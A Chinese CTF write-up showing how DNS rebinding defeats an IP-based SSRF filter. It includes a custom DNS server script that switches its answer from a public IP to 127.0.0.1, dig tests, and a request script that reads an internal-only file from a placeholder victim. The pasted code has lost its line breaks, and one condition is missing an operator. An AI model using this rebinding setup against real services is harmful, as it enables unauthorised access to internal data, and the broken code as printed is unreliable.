前言:P牛曾在文章中写到拒绝SSRF的方法,但是这种方法真的完美无缺吗?
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
套用P牛的话来说,答案是否定的。在他的评论区里,我们可以窥探到一些秘密。由于篇幅所限,P牛没有在这篇文章中直接讲绕过的方式,但这一提示dns重绑定,让我们知道这种攻击手段的厉害之处。
直接拿题目来说,题目开放了某个端口A,A端口有web服务,通过内网可以直接访问某个文件,但是如果是外来的ip就不行,P牛的文章中有过滤SSRF的代码。这里直接截取一部分,方便阅读,完整的就在他文章里。
def is_inner_ipaddress(ip):ip = ip2long(ip)return ip2long('127.0.0.0') >> 24 == ip >> 24 or \ip2long('10.0.0.0') >> 24 == ip >> 24 or \ip2long('172.16.0.0') >> 20 == ip >> 20 or \ip2long('192.168.0.0') >> 16 == ip >> 16 \ip2long('0.0.0.0') >> 24 == ip >> 24
通过这篇文章了解dns绑定的攻击手段(必看)
http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
具体攻击流程参考了上述文章的第三个方法
我在dnspod上花1块钱抢了一个1年的域名,然后换成cloudflare的域名解析服务器,由他帮我做解析
在ip:115.159.106.12 我的服务器上 运行脚本
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, serverrecord={
}class DynamicResolver(object):def _doDynamicResponse(self, query):name = query.name.nameif name not in record or record[name]<1:ip="115.159.106.12" # 绕过过滤else:ip="127.0.0.1" # 内网if name not in record:record[name]=0record[name]+=1print name+" ===> "+ipanswer = dns.RRHeader(name=name,type=dns.A,cls=dns.IN,ttl=0,payload=dns.Record_A(address=b'%s'%ip,ttl=0))answers = [answer]authority = []additional = []return answers, authority, additionaldef query(self, query, timeout=None):return defer.succeed(self._doDynamicResponse(query))def main():factory = server.DNSServerFactory(clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')])protocol = dns.DNSDatagramProtocol(controller=factory)reactor.listenUDP(53, protocol)reactor.run()if __name__ == '__main__':raise SystemExit(main())
pip install twisted
python dns.py
测试:
dig @8.8.8.8 rebind.godspeedcurry.club
再dig一次
此外,ceye.io上也有dns rebinding的工具,它可以做到随机返回两个地址中的一个,也是可以用的。
攻击脚本如下
import requests
url = 'http://victim.xx/url=http://rebind.godspeedcurry.club:9999/key' # or 下面这个
url = 'http://victim.xx/url=http://r.djs5cm.ceye.io:9999/key' # ceye平台
r = requests.get(url=url)
print (r.text)
攻击流程:rebind.godspeedcurry.club
转成ip 115.159.106.12 绕过过滤,waf觉得没问题,然后再次访问rebind.godspeedcurry.club
时,ip变成了127.0.0.1 此时waf后悔莫及,我们已经读取到敏感文件了。
攻击中存在的问题:我一度使用chrome浏览器直接访问脚本里的url,一次都没有拿到文件内容,猜测是缓存了什么东西,第二天想干脆用脚本发,直接就拿到了答案。做这个攻击还是有点玄学的,不能保证每一次都成功。